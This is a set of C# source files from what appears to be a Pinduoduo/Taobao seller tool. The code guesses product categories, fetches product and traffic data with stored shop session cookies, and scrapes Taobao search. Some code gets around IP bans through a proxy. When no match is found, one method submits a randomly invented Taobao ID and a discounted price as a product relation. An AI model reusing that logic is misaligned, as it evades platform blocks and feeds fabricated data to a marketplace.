for (int i = 0; i < MainCat.Count; i++)//计算主营类目ID
{
if (MainCat[i].Value1.Contains("," + Cat1 + ","))
{
MainCatId = MainCat[i].Key;
if (!TempCat.ContainsKey(fromId))
{
KeyValuesBase k = new KeyValuesBase(MainCatId, Cat1, Cat2, Cat3, Cat4);
try
{
TempCat.Add(fromId, k);
}
catch
{
}
}
return true;
}
}
}
return false;
}
public void GetLen(int len)
{
int count = Title.Length / len;
if (count < 3)
return;
for (int i = 0; i < Cats.Count; i++)
{
var c = Cats[i];
c.Rank++;
}
for (int i = 0; i < len; i++)
{
string word = Title.Substring(i * count, count);
string url = "http://pcat.qixiaoke.com/taobao/pinduoduo_main.php?keyword=" + GetHtml.UrlEncodeUtf8(word);
string html = GetHtml.Utf8(url);
if (string.IsNullOrEmpty(html) || !html.Contains("\n"))
continue;
string[] l = html.Split('\n');
for (int j = 0; j < l.Length; j++)
{
bool had = false;
string[] ll = l[j].Split(',');
if (ll.Length < 3)
continue;
KeyValuesBase k;
KeyValuesBase kt;
if (ll.Length == 3)
{
k = new KeyValuesBase(ll[2], ll[0], ll[1], ll[2], "0");
kt = new KeyValuesBase(ll[1], ll[0], ll[1], ll[2], "0");
}
else
{
k = new KeyValuesBase(ll[2], ll[0], ll[1], ll[2], ll[3]);
kt = new KeyValuesBase(ll[1], ll[0], ll[1], ll[2], ll[3]);
}
if (k.Value2 == "242" || k.Value2 == "243" || k.Value3 == "3850")
continue;
kt.Rank = 1;
k.Rank = 1;
for (int m = 0; m < Cats.Count; m++)
{
if (Cats[m].Key == ll[2])
{
k = Cats[m];
had = true;
break;
}
}
if (!had)
Cats.Add(k);
else
k.Rank++;
had = false;
for (int m = 0; m < CatTop.Count; m++)
{
if (CatTop[m].Key == ll[1])
{
k = CatTop[m];
had = true;
break;
}
}
if (!had)
CatTop.Add(k);
else
k.Rank++;
}
}
Cats.Sort(delegate (KeyValuesBase x, KeyValuesBase y)
{
return y.Rank.CompareTo(x.Rank);
});
CatTop.Sort(delegate (KeyValuesBase x, KeyValuesBase y)
{
return y.Rank.CompareTo(x.Rank);
});
}
public static void Ini()
{
string[] l = FileBase.ReadAllLines("taobao_cat.ico");
for (int i = 0; l != null && i < l.Length; i++)
{
if (!l[i].Contains("\t"))
continue;
string[] s = l[i].Split('\t');
TaobaoCat.Add(int.Parse(s[0]), s[1]);
}
}
}
}
+350
View File
@@ -0,0 +1,350 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Api
{
public class FromTitleToCatTaobao
{
/// <summary>
/// 用标题计算分类
/// </summary>
/// <param name="title"></param>
/// <returns></returns>
public static int Get(string title, bool IsGetMoreCatid = false)
{
title = BaseRegex.Clear(title, @"([\d]+)");
char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray();
foreach (char c in k)
title = title.Replace(c.ToString(), "");
string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(',');
foreach (string c in keys)
title = title.Replace(c, "");
if (string.IsNullOrEmpty(title) || title.Length < 2)
return 0;
Dictionary<int, int> cats = new Dictionary<int, int>();
string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword=";
string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title));
if (!string.IsNullOrEmpty(html))
{
string[] l = html.Split(',');
foreach (string ss in l)
{
if (string.IsNullOrEmpty(ss))
continue;
int s = int.Parse(ss);
if (cats.ContainsKey(s))
cats[s]++;
else
cats.Add(s, 1);
}
int top = 0;
int all = 0;
int catId = 0;
foreach (KeyValuePair<int, int> cat in cats)
{
if (top < cat.Value)
{
top = cat.Value;
catId = cat.Key;
}
all += cat.Value;
}
return catId;
}
int Step = 2;
int half = title.Length / 2;
string key1 = title.Substring(0, half);
string key2 = title.Substring(half);
SetCats(key1, ref cats);
SetCats(key2, ref cats);
int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16);
if (IsGetMoreCatid && cats.Count > 5)
{
return cid;
}
else if (cats.Count > 0 && !IsGetMoreCatid)
{
return cid;
}
Step = 4;
AddCount(ref cats);
int four = title.Length / 4;
if (four < 2)//没法继续细分了
return GetMaxCount(ref cats, 4096);
for (int i = 0; i < 4; i++)
{
string key = title.Substring(i * four, four);
SetCats(key, ref cats);
}
cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64);
if (cid > 0)
return cid;
AddCount(ref cats);
Step = 8;
int eigth = title.Length / 8;
if (eigth < 2)
return GetMaxCount(ref cats, 4096);
for (int i = 0; i < 8; i++)
{
string key = title.Substring(i * eigth, eigth);
SetCats(key, ref cats);
}
return GetMaxCount(ref cats, 4096);
}
public static string GetCategory(string title)
{
if (string.IsNullOrEmpty(title)) return string.Empty;
string name = title;
title = BaseRegex.Clear(title, @"([\d]+)");
char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray();
foreach (char c in k)
title = title.Replace(c.ToString(), "");
string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(',');
foreach (string c in keys)
title = title.Replace(c, "");
if (string.IsNullOrEmpty(title) || title.Length < 2)
return string.Empty;
Dictionary<int, int> cats = new Dictionary<int, int>();
string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword=";
string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title));
if (!string.IsNullOrEmpty(html))
{
string[] l = html.Split(',');
foreach (string ss in l)
{
if (string.IsNullOrEmpty(ss))
continue;
int s = int.Parse(ss);
if (cats.ContainsKey(s))
cats[s]++;
else
cats.Add(s, 1);
}
int top = 0;
int all = 0;
int catId = 0;
foreach (KeyValuePair<int, int> cat in cats)
{
if (top < cat.Value)
{
top = cat.Value;
catId = cat.Key;
}
all += cat.Value;
}
return name + ":" + catId;
}
int Step = 2;
int half = title.Length / 2;
string key1 = title.Substring(0, half);
string key2 = title.Substring(half);
SetCats(key1, ref cats);
SetCats(key2, ref cats);
int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16);
if (cid > 0)
return name + ":" + cid;
Step = 4;
AddCount(ref cats);
int four = title.Length / 4;
if (four < 2)//没法继续细分了
return name + ":" + GetMaxCount(ref cats, 4096);
for (int i = 0; i < 4; i++)
{
string key = title.Substring(i * four, four);
SetCats(key, ref cats);
}
cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64);
if (cid > 0)
return name + ":" + cid;
AddCount(ref cats);
Step = 8;
int eigth = title.Length / 8;
if (eigth < 2)
return name + ":" + GetMaxCount(ref cats, 4096);
for (int i = 0; i < 8; i++)
{
string key = title.Substring(i * eigth, eigth);
SetCats(key, ref cats);
}
return name + ":" + GetMaxCount(ref cats, 4096);
}
/// <summary>
/// 用标题计算分类(为了保证防止跟之前冲突 特意写个方法)
/// </summary>
/// <param name="title"></param>
/// <returns></returns>
public int GetCataryId(string title, out Dictionary<int, int> DicTbCatId)
{
Dictionary<int, int> DicTbCatIdTemp = new Dictionary<int, int>();
title = BaseRegex.Clear(title, @"([\d]+)");
char[] k = "[]\\/ -+=.【】{};,。,.::;*()()@!!&{}".ToCharArray();
foreach (char c in k)
title = title.Replace(c.ToString(), "");
string[] keys = "批发,新款,特价,热卖,定制,定做,热卖,正品,包邮,正品,出售,新品,厂家,直销,自营,跨境,爆款,批发,品牌,一件,代发,清仓,直供,外贸".Split(',');
foreach (string c in keys)
title = title.Replace(c, "");
DicTbCatId = DicTbCatIdTemp;
if (string.IsNullOrEmpty(title) || title.Length < 2)
return 0;
Dictionary<int, int> cats = new Dictionary<int, int>();
string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword=";
string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(title));
if (!string.IsNullOrEmpty(html))
{
string[] l = html.Split(',');
foreach (string ss in l)
{
if (string.IsNullOrEmpty(ss))
continue;
int s = int.Parse(ss);
if (cats.ContainsKey(s))
cats[s]++;
else
cats.Add(s, 1);
}
int top = 0;
int all = 0;
int catId = 0;
foreach (KeyValuePair<int, int> cat in cats)
{
if (top < cat.Value)
{
top = cat.Value;
catId = cat.Key;
}
all += cat.Value;
}
return catId;
}
int Step = 2;
int half = title.Length / 2;
string key1 = title.Substring(0, half);
string key2 = title.Substring(half);
SetCats(key1, ref cats);
SetCats(key2, ref cats);
int cid = GetMaxCount(ref cats, title.Length > 8 ? 4 : 16);
DicTbCatId = cats;
if (cats.Count > 5)
{
return cid;
}
Step = 4;
AddCount(ref cats);
DicTbCatId = cats;
int four = title.Length / 4;
if (four < 2)//没法继续细分了
return GetMaxCount(ref cats, 4096);
for (int i = 0; i < 4; i++)
{
string key = title.Substring(i * four, four);
SetCats(key, ref cats);
}
cid = GetMaxCount(ref cats, title.Length > 16 ? 16 : 64);
DicTbCatId = cats;
if (cid > 0)
return cid;
AddCount(ref cats);
Step = 8;
int eigth = title.Length / 8;
DicTbCatId = cats;
if (eigth < 2)
return GetMaxCount(ref cats, 4096);
for (int i = 0; i < 8; i++)
{
string key = title.Substring(i * eigth, eigth);
SetCats(key, ref cats);
}
DicTbCatId = cats;
return GetMaxCount(ref cats, 4096);
}
/// <summary>
/// 根据关键词获取相关分类
/// </summary>
/// <param name="key"></param>
/// <param name="cats"></param>
public static void SetCats(string key, ref Dictionary<int, int> cats)
{
string apiUrl = "http://tcat.qixiaoke.com/taobao/keyword.php?keyword=";
string html = GetHtml.Utf8(apiUrl + GetHtml.UrlEncodeUtf8(key));
if (!string.IsNullOrEmpty(html))
{
string[] l = html.Split(',');
foreach (string ss in l)
{
if (string.IsNullOrEmpty(ss))
continue;
int s = int.Parse(ss);
if (cats.ContainsKey(s))
cats[s]++;
else
cats.Add(s, 1);
}
}
}
/// <summary>
/// 根据倍数判断是否要取得准确结果
/// </summary>
/// <param name="cats"></param>
/// <param name="times"></param>
/// <returns></returns>
public static int GetMaxCount(ref Dictionary<int, int> cats, int times)
{
int top = 0;
int all = 0;
int catId = 0;
foreach (KeyValuePair<int, int> cat in cats)
{
if (top < cat.Value)
{
top = cat.Value;
catId = cat.Key;
}
all += cat.Value;
}
if (all / times < top)
return catId;
return 0;
}
/// <summary>
/// 权值翻倍
/// </summary>
/// <param name="cats"></param>
public static void AddCount(ref Dictionary<int, int> cats)
{
try
{
foreach (KeyValuePair<int, int> cat in cats)
{
cats[cat.Key] *= 2;
}
}
catch
{
}
}
}
}
+142
View File
@@ -0,0 +1,142 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
namespace Work.Api
{
public class GetEditDetail
{
public ShopChatBase Shop;
public string Name;
public GetEditDetail(ShopChatBase shop,string name)
{
Shop = shop;
Name = name;
}
public ResultBase Get(long pin)
{
string html = GetHtmlBy(pin);
if (string.IsNullOrEmpty(html) || !html.Contains("\"success\":true"))
{
LogSave.Add(Name, "商品不存在:" + pin);
return null;
}
if (BaseRegex.GetIntJson(ref html, "is_onsale") == 0)
{
LogSave.Add(Name, "商品已下架:" + pin);
return null;
}
GetEditDetailBase tp = JsonHelper.DeserializeJsonToObject<GetEditDetailBase>(html);
tp.result.fabricx = BaseRegex.GetIntJson(ref html, "fabric");
tp.result.fabric_contentx = BaseRegex.GetIntJson(ref html, "fabric_content");
return tp.result;
}
public string GetHtmlBy(long pin)
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/"+pin;
string refere = "https://mms.pinduoduo.com/Pdd.html";
WebClientx wb = new WebClientx();
wb.Timeout = 30;
wb.AllowAutoRedirect = false;
wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
wb.Headers.Add("Accept-Encoding", "gzip,deflate");
wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
wb.Headers.Add("User-Agent", BaseClass.ChromeUserAgent);
wb.Headers.Add("Upgrade-Insecure-Requests", "1");
wb.Headers.Add("Referer", "https://mms.pinduoduo.com/Pdd.html");
wb.Headers.Add("Cookie", Shop.Cookies);
try
{
var b = wb.DownloadData(url);
return Encoding.UTF8.GetString(b);
}
catch (Exception e)
{
return e.Message;
}
}
}
public class GetEditDetailBase
{
public bool success;
public ResultBase result;
}
public class ResultBase
{
public long id;
public long goods_id;
public int check_status;
public int commit_deleted;
public string owner;
public int is_shop;
public string goods_sn;
public int is_folt;
public string warm_tips;
public int fabricx;
public int fabric_contentx;
public int cost_template_id;
public int cat_id;
public int mall_id;
public string goods_name;
public string tiny_name;
public string goods_desc;
public string share_desc;
public List<string> list_desc = new List<string>();
public int market_price;
public string thumb_url;
public string image_url;
public string hd_thumb_url;
public CommitExtensionBase commit_extension;
public List<GalleriesBase> galleries;
public List<SkuDetailBase> sku;
public List<int> cat_ids;
public List<string> cats;
public string owner_name;
}
public class CommitExtensionBase
{
public long goods_commit_id;
public string out_goods_sn;
}
public class GalleriesBase
{
public string url;
public int width;
public int height;
public int type;
}
public class SkuDetailBase
{
public long id;
public long sku_id;
public string sku_sn;
public int is_onsale;
public int limit_quantity;
public int multi_price;
public int price;
public int quantity;
public string thumb_url;
public List<SpecDetailBase> spec;
public string out_sku_sn;
}
public class SpecDetailBase
{
public int parent_id;
public string parent_name;
public long spec_id;
public string spec_name;
}
}
+185
View File
@@ -0,0 +1,185 @@
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Net.Http.Headers;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading.Tasks;
using AllBase;
using Work.CollectClass;
namespace Work.Api
{
public class GetNewTaobaoUpId
{
public static Dictionary<long, IntKeyValues> PddToTb = new Dictionary<long, IntKeyValues>();
public ShopChatBase Shop;
public GetNewTaobaoUpId(ShopChatBase shop)
{
Shop = shop;
}
/// <summary>
/// 获取最接近淘宝ID
/// </summary>
/// <param name="img">图片</param>
/// <param name="min">最低价:分 加价之后</param>
/// <param name="max">最高价:分 加价之后</param>
/// <returns></returns>
public long Get(long pid,long fromId, byte[] img, int min, int max,string berfoeTitle)
{
int minPrice;
int maxPrice;
if (PddToTb.ContainsKey(fromId) && PddToTb[fromId].Value1 > min)
{
var i = PddToTb[fromId];
minPrice = i.Value1;
maxPrice = i.Value2;
Set(pid, i.Key, minPrice, maxPrice, i.Value3, 0);
return i.Key;
}
string url = BaseClass.BuildObjString("taobao_id&act=get");
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/taobao_id&act=get";
string data = UserLogin.GetSignaturex();
data += "&pdd_id=" + fromId;
string html = GetHtml.PostUtf8(url, data);
if (!string.IsNullOrEmpty(html) && html.Contains("taobao_id"))
{
long tid = BaseRegex.GetLongJson(ref html, "taobao_id");
minPrice = BaseRegex.GetIntJson(ref html, "min_price");
maxPrice = BaseRegex.GetIntJson(ref html, "max_price");
int express_price = BaseRegex.GetIntJson(ref html, "express_price");
try
{
PddToTb.Add(fromId, new IntKeyValues(tid, minPrice, maxPrice, express_price));
}
catch
{
}
if (min < minPrice)
{
Set(pid, tid, minPrice, maxPrice, express_price, 0);
return tid;
}
}
if (img == null)
goto EndError;
url = "https://s.taobao.com/image";
string refere = "https://www.taobao.com";
var ks = new NameValueCollection();
ks.Add("cross", "taobao");
ks.Add("type", "iframe");
html = GetPostTaobaoHtml.PostFileTaobao(url, refere, true, ks,img);
string name = BaseRegex.GetStringJson(ref html, "name");
string maxId = "";
int minPricex = 0;
if (!string.IsNullOrEmpty(name))
{
url =
"https://s.taobao.com/search?q=&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.2&ie=utf8&tfsid=" +
name + "&app=imgsearch";
html = GetPostTaobaoHtml.GetUrl(url, refere, true, "");
var m = BaseRegex.GetMatchRegex(ref html, @"\{""nid"":""([\d]+)"",[\w\W]+?,""view_price"":""([\d\.]+)""");
for (int i = 0; m != null && i < m.Count && i < 8; i++)
{
string id = m[i].Groups[1].Value;
int price = (int) (decimal.Parse(m[i].Groups[2].Value)*100);
if (price > minPricex)
{
minPricex = price;
maxId = id;
}
}
}
if (string.IsNullOrEmpty(maxId))
{
int p1 = max/100, p2 = max/100*3 + 500;
url = "https://s.taobao.com/search?q=" + GetHtml.UrlEncodeUtf8(berfoeTitle) +
"&imgfile=&js=1&style=grid&stats_click=search_radio_all%3A1&ie=utf8&filter=reserve_price%5B" + p1 +
"%2C" + p2 + "%5D";
html = GetPostTaobaoHtml.GetUrl(url, refere, true, "");
var m = BaseRegex.GetMatchRegex(ref html,
@"""nid"":""([\d]+)""[\w\W]*?""raw_title"":""([^""]+)""[\w\W]+?,""view_price"":""([\d\.]+)""");
maxId = "";
minPricex = 0;
for (int i = 0; m != null && i < m.Count && i < 8; i++)
{
string id = m[i].Groups[1].Value;
string title = m[i].Groups[2].Value;
int price = (int) (decimal.Parse(m[i].Groups[3].Value)*100);
if (price > minPricex && title.ToLower()==berfoeTitle.ToLower())
{
minPricex = price;
maxId = id;
}
}
}
if (minPricex > min && !string.IsNullOrEmpty(maxId))
{
long tid = long.Parse(maxId);
ProductCollectBase p = new ProductCollectBase();
p.from_id = tid;
TaobaoMobileCollect t =new TaobaoMobileCollect(p);
t.NoContent = true;
t.NoUpToServer = true;
t.Get();
minPrice = (int) (t.MinPrice*100);
maxPrice = (int)(t.MaxPrice * 100);
int express_price = (int) (p.express_price*100);
url = BaseClass.BuildObjString("taobao_id&act=add");
data = UserLogin.GetSignaturex();
data += "&pdd_id=" + fromId;
data += "&taobao_id=" + tid;
data += "&min_price=" + minPrice;
data += "&max_price=" + maxPrice;
data += "&express_price=" + express_price;
html = GetHtml.PostUtf8(url, data);
try
{
PddToTb.Add(fromId, new IntKeyValues(tid,minPrice,maxPrice, express_price));
}
catch
{
}
Set(pid, tid, minPrice, maxPrice, express_price, 0);
return tid;
}
EndError:
long upid = Randomx.GetId(100000, 9999999) * (long)Randomx.GetId(10000, 99999);
minPrice =(int)( min*0.93m);
maxPrice = (int)(max * 0.93m);
Set(pid,upid,minPrice,maxPrice,0,5);
return upid;
}
public void Set(long pid,long tid, int beforePriceMin,int beforePriceMax,int express_price,int from_site_id)
{
var api = new PinduoduoApiGetProduct(Shop);
string html = api.Relationx(pid, tid, beforePriceMin, beforePriceMax, express_price, from_site_id);
}
}
public class IntKeyValues
{
public IntKeyValues(long k, int v1, int v2, int v3)
{
Key = k;
Value1 = v1;
Value2 = v2;
Value3 = v3;
}
public long Key = 0;
public int Value1 = 0;
public int Value2 = 0;
public int Value3 = 0;
}
}
+110
View File
@@ -0,0 +1,110 @@
using System;
using System.Collections.Generic;
using AllBase;
namespace Work.Api
{
public class GetProductDetail
{
public ShopChatBase Shop;
public string Html = "";
public string Name;
public GetProductDetail(ShopChatBase shop, string name)
{
Shop = shop;
}
public ProductDetailBase Get(long pid)
{
try
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
Html = api.GetProduct(pid);
if (string.IsNullOrEmpty(Html) || !Html.Contains("\"goods_id\""))
{
System.Threading.Thread.Sleep(1000 + Randomx.GetId(1000));
Html = api.GetProduct(pid);
}
if (string.IsNullOrEmpty(Html) || !Html.Contains("\"goods_id\""))
{
LogSave.Add(Name, "商品不存在:" + pid);
return null;
}
Html = Html.Replace("\"shelf_life\":null", "\"shelf_life\":0");
Html = Html.Replace("\"start_production_date\":null", "\"start_production_date\":0");
Html = Html.Replace("\"end_production_date\":null", "\"end_production_date\":0");
ProductDetailBasex tp = JsonHelper.DeserializeJsonToObject<ProductDetailBasex>(Html);
return tp.goods_detail_get_response;
}
catch (Exception e)
{
LogSave.Add(Name, "构建数据错误:" + e.Message);
return null;
}
}
}
public class ProductDetailBasex
{
public ProductDetailBase goods_detail_get_response;
}
public class ProductDetailBase
{
public long goods_id;
public int buy_limit;
//public string mai_jia_zi_ti;
public List<string> carousel_gallery_list = new List<string>();
public int cat_id;
public long cost_template_id;
public int shelf_life;
public int start_production_date;
public int end_production_date;
//public int paper_net_weight;
//public int paper_length;
//public int paper_width;
//public int paper_plies_num;
public int country_id;
public int customer_num;
public int goods_type;
public string goods_name;
public string tiny_name;
public string goods_desc;
public string warehouse;
public int is_customs;
public string customs;
public int market_price;
public int is_pre_sale;
public int pre_sale_time;
public int shipment_limit_second;
public int order_limit;
public int is_refundable;
public int? second_hand;
public int is_folt;
public string warm_tips;
public string outer_goods_id;
public int fabricx;
public int fabric_contentx;
//public int fabric_id;
//public int fabric_content_id;
public int mall_id;
public List<string> list_desc = new List<string>();
public List<GoodsPropertyListBase> goods_property_list = new List<GoodsPropertyListBase>();
public string thumb_url;
public string image_url;
public string hd_thumb_url;
public List<string> galleries;
public List<SkuDetailBase> sku_list;
public List<string> detail_gallery_list;
}
public class GoodsPropertyListBase
{
public long ref_pid;
public long template_pid;
public string vvalue;
public string vid;
public string punit;
}
}
+60
View File
@@ -0,0 +1,60 @@
using System;
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.ManageClass;
using System.Threading.Tasks;
namespace Work.Api
{
public class GetShopLoginInfo
{
public string Name;
public GetShopLoginInfo(string name)
{
Name = name;
}
public static List<string> ShopCat = new List<string>();
public static List<string> ShopCatTemp = new List<string>();
public static List<ShopChatBase> Shops = new List<ShopChatBase>();
public static List<ShopChatBase> ShopBak = new List<ShopChatBase>();
public static List<ShopChatBase> ShopTemp = new List<ShopChatBase>();
private Dictionary<string, string> GetCookies(ShopInfo SpIn)
{
int AgainCount = 0;
Dictionary<string, string> dicCookie = new Dictionary<string, string>();
string NewUrl = BaseClass.BuildObjString("pdd_shop_tempx&act=get_shop_cookies_list");
Again:
string Newhtml = GetHtml.PostUtf8(NewUrl, UserLogin.GetSignaturex("", "") + "&shops=" + GetHtml.UrlEncodeUtf8(Newtonsoft.Json.JsonConvert.SerializeObject(SpIn)));
if (string.IsNullOrEmpty(Newhtml) || Newhtml.Contains("Error No File"))
{
if (AgainCount < 2)
{
AgainCount++;
Thread.Sleep(50);
goto Again;
}
}
var m = BaseRegex.GetMatchRegex(ref Newhtml, @"<shop name=""([^""]+?)"">([\w\W]+?)</shop>");
for (int j = 0; m != null && j < m.Count; j++)
{
string shopName = m[j].Groups[1].Value;
string json = m[j].Groups[2].Value;
if (!string.IsNullOrEmpty(json) && !json.Contains("{}") && !json.Contains("none") && !json.Contains("noney"))
{
if (!dicCookie.ContainsKey(shopName))
{
dicCookie.Add(shopName, json);
}
}
}
return dicCookie;
}
}
}
+119
View File
@@ -0,0 +1,119 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
namespace Work.Api
{
public class GetVisitProduct
{
public Dictionary<long, int> ProductVisit = new Dictionary<long, int>();
public GetVisitProduct(string name)
{
Name = name;
}
public ShopChatBase Shop = null;
public static List<ProductVisitBase> Product = new List<ProductVisitBase>();
public static List<ProductVisitBase> ProductTemp = new List<ProductVisitBase>();
public static int MaxCount = 0, ThisCount = 0, MinVisitCount = 0, MinSoldCount = 0, Days = 0, MinPrice = 0;
public static bool Running = false;
public string Name;
public void Get()
{
Running = true;
string cookies = "";
if (Shop != null)
cookies = Shop.Cookies;
string url = "https://mms.pinduoduo.com/earth/api/goodsDataShow/detailList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"spanDays\":" + Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().ToString("yyyy-MM-DD") + "\"}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int allCount = BaseRegex.GetIntJson(ref html, "total");
int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
MaxCount = page;
for (int i = 1; i <= page; i++)
{
if (Shop == null && !Running)
break;
ThisCount = i;
if (i != 1)
{
data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + Days + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().ToString("yyyy-MM-DD") + "\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
ProductVisitBase p = new ProductVisitBase();
p.Id = BaseRegex.GetLongJson(ref list, "goodsId");
p.GoodsSn = BaseRegex.GetLongJson(ref list, "goodsSn");
p.OrderCount = BaseRegex.GetIntJson(ref list, "payOrderCount");
p.Title = BaseRegex.GetStringJson(ref list, "goodsName");
p.Uv = BaseRegex.GetIntJson(ref list, "goodsUv");
p.Pv = BaseRegex.GetIntJson(ref list, "goodsPv");
p.UvAvgPay = BaseRegex.GetDecimalJson(ref list, "avgGoodsVcr");
p.SoldCount = BaseRegex.GetIntJson(ref list, "payOrderCount");
if (Shop == null)
ProductTemp.Add(p);
else
{
if (!ProductVisit.ContainsKey(p.Id))
ProductVisit.Add(p.Id, p.Pv);
else
ProductVisit[p.Id] = p.Pv;
}
if (!Product.Exists(pr => pr.Id == p.Id))
Product.Add(p);
}
LogSave.Add(Name, "获取 " + (Shop == null ? "" : Shop.ShopName) + " 流量:" + i);
Thread.Sleep(100);
}
ThisCount = MaxCount;
Running = false;
}
public DataGridView dataGridViewX5;
}
public class ProductVisitBase
{
public string Message = "";
public string Title = "";
public long Id;
public long GoodsSn;
public int OrderCount = 0;
public bool Checked = false;
/// <summary>
/// 支付金额
/// </summary>
public decimal PayMoney = 0;
public int Uv = 0;
public decimal Price = 0;
/// <summary>
/// 购物车
/// </summary>
public int CartCount = 0;
/// <summary>
/// 收藏
/// </summary>
public int FavCount = 0;
/// <summary>
/// 销量
/// </summary>
public int SoldCount = 0;
public DateTime UpdateTime = DateTime.Now.AddDays(-365);
public int Pv = 0;
/// <summary>
/// 平均用户付款数
/// </summary>
public decimal UvAvgPay = 0;
}
}
+309
View File
@@ -0,0 +1,309 @@
using System;
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.CollectClass;
namespace Work.Api
{
public class MobileDetail
{
public string Name;
public long Pid;
public long FromId = 0;
public string FromShopName = "";
public int FromSiteId = 0;
public string message_alert = string.Empty;
public MobileDetail(string name, long pid)
{
Name = name;
Pid = pid;
}
public ProductCollectBase Get()
{
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Pid))
return TaobaoMobileCollect.ProductTemp[Pid];
var p = new ProductCollectBase();
string url = "http://apiv4.yangkeduo.com/v5/goods/" + Pid + "?timeout=1500&pdduid=0";
string html = GetPostTaobaoHtml.GetUrl(url, "http://apiv4.yangkeduo.com", true, "");
Thread.Sleep(3000);
if (CollectKeywordByTaobao.SaveCollect && !string.IsNullOrEmpty(html) && html.Contains("远程服务器返回错误"))
{
Thread.Sleep(6000);
html = GetHtml.ByUsa(true, url);
}
if (string.IsNullOrEmpty(html) || html.Contains("远程服务器返回错误"))
{
Thread.Sleep(5000);
TaobaoProductBase t = new TaobaoProductBase();
t.FromType = "拼多多";
t.FromId = Pid;
PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, t);
pp.NoAdd = true;
pp.Get();
p = pp.pb;
return p;
}
if (string.IsNullOrEmpty(html) || html.Contains("\"success\":false"))
{
LogSave.Add(Name, "商品不存在:" + Pid);
return p;
}
if (html.Contains("远程服务器返回错误"))
{
LogSave.Add(Name, "IP临时被封请切换电脑IP:" + Pid);
return p;
}
if (BaseRegex.GetIntJson(ref html, "is_onsale") == 0)
{
LogSave.Add(Name, "商品已下架:" + Pid);
return p;
}
MobileDetailBase tp = JsonHelper.DeserializeJsonToObject<MobileDetailBase>(html);
p.name = tp.goods_name;
for (int i = 0; i < tp.gallery.Count; i++)
{
if (tp.gallery[i].type == 1)
p.Images.Add(tp.gallery[i].url);
else
p.content += "<img src=\"" + tp.gallery[i].url + "\" height=\"" + tp.gallery[i].height + "\" width=\"" + tp.gallery[i].width + "\" />";
}
if (tp.sku.Count > 0 && tp.sku[0].specs.Count == 1)
{
var spe = tp.sku[0].specs[0];
PropBase prop = new PropBase();
prop.name = spe.spec_key;
for (int i = 0; i < tp.sku.Count; i++)
{
PropValueBase pvb = new PropValueBase();
pvb.name = tp.sku[i].specs[0].spec_value;
pvb.id = tp.sku[i].spec;
pvb.name_pinduoduo = pvb.name;
pvb.image = tp.sku[i].thumb_url;
pvb.image_from_url = pvb.image;
prop.Values.Add(pvb);
SkuMapBase sku = new SkuMapBase();
sku.name = tp.sku[i].specs[0].spec_key + ":" + tp.sku[i].specs[0].spec_value;
sku.before_price = tp.sku[i].normal_price / 100m;
sku.price = tp.sku[i].group_price / 100m;
sku.number = tp.sku[i].is_onsale == 0 ? 0 : tp.sku[i].quantity;
sku.sale_count = tp.sku[i].sold_quantity;
sku.id = tp.sku[i].sku_id;
sku.pinduoduo_image = tp.sku[i].thumb_url;
sku.prop_image = tp.sku[i].thumb_url;
p.SkuMaps.Add(sku);
}
p.Props.Add(prop);
}
if (tp.sku.Count > 0 && tp.sku[0].specs.Count == 2)
{
for (int i = 0; i < tp.sku[0].specs.Count; i++)
{
PropBase prop = new PropBase();
prop.name = tp.sku[0].specs[i].spec_key;
p.Props.Add(prop);
for (int j = 0; j < tp.sku.Count; j++)
{
if (prop.Values.Exists(po => po.name == tp.sku[j].specs[i].spec_value))
continue;
PropValueBase pv = new PropValueBase();
